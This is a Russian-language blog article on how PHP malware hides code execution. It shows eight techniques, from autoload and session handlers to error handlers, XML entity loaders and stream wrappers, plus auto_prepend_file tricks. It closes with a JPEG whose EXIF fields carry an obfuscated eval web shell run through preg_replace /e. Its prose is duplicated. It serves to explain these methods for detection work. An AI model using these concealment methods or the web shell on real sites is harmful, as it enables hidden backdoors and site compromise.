Логичным продолжением заметки про неявные вызовы php кода во вредоносных скриптах будет ее вторая часть, в которой я рассмотрю более сложные и менее очевидные варианты использования различных обработчиков и загрузчиков php, а в конце статьи приведу несколько примеров, как еще хакеры неявно вызывают вредоносный код и php скрипты на сайте.
В качестве примера вредоносного кода снова будем использовать вызов
Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.
Вариант №1: использование механизма autoload.
Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.
Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше
Вариант №3: использование обработчика сессии.
В момент создания сессии будет вызвана зарегистрированная функция.
Вариант №4: использование итератора.
Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.
Вариант №5: вызов через обработчик исключений.
В этом врианте код для вызова может быть передан в качестве текста исключения.
Вариант №6: использование обработчика ошибок.
Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.
Вариант №7: использование собственного загрузчика сущностей.
Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.
Вариант №8: создание собственного стрима для неявного вызова кода
Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().
В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?
Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,
будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.
Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.
В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):
Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.
И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.
А jpg файл выглядит примерно так:
Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».
Благодарю за внимание.
В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'
Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.
Вариант №1: использование механизма autoload.
Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.
<?php
function __autoload($classname) {
echo 'Test';
}
//...
new myEvilClass();
Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше
<?php
// php >= 5.3.0
class EvilClass {
static public function evil($name) {
echo 'Test';
}
}
// ...
spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil');
// ...
new Malware;
Вариант №3: использование обработчика сессии.
В момент создания сессии будет вызвана зарегистрированная функция.
<?php
function just_do_it() {
echo 'Test';
}
// ...
$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();
Вариант №4: использование итератора.
Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.
<?php
$f = create_function('', "echo 'Test';");
// ...
$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));
Вариант №5: вызов через обработчик исключений.
В этом врианте код для вызова может быть передан в качестве текста исключения.
<?php
function exception_handler($e) {
preg_replace_callback('||', create_function('', $e->getMessage()), '');
}
// ...
set_exception_handler('exception_handler');
// ...
throw new Exception('echo "Test";');
Вариант №6: использование обработчика ошибок.
Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.
<?php
function error_handler($errno, $errstr, $errfile, $errline) {
array_map(create_function('', $errstr), array(''));
}
// ...
set_error_handler('error_handler');
$badcode = 'echo "Test";';
trigger_error($badcode, E_USER_ERROR); // или user_error();
Вариант №7: использование собственного загрузчика сущностей.
Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.
<?php
// для php >= 5.4
$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;
$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;
libxml_set_external_entity_loader(
function ($public, $system, $context) use($dtd) {
array_reduce(array(''), create_function('', $public));
}
);
// ...
$dd = new DOMDocument;
$r = $dd->loadXML($xml);
@$dd->validate();
Вариант №8: создание собственного стрима для неявного вызова кода
Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().
<?php
class MalwareStream {
function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$f = create_function('', $url["host"]);
$f();
return true;
}
}
// ...
stream_wrapper_register("malw", "MalwareStream");
// ...
$fp = fopen('malw://echo "Test";', '');
В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.
Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?
Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,
php_value auto_prepend_file /images/stories/mycode.jpg
будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.
Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.
В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):
<?php
$a = `ls -la`;
echo $a;
Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.
И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.
<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
А jpg файл выглядит примерно так:
yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...
Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».
Благодарю за внимание.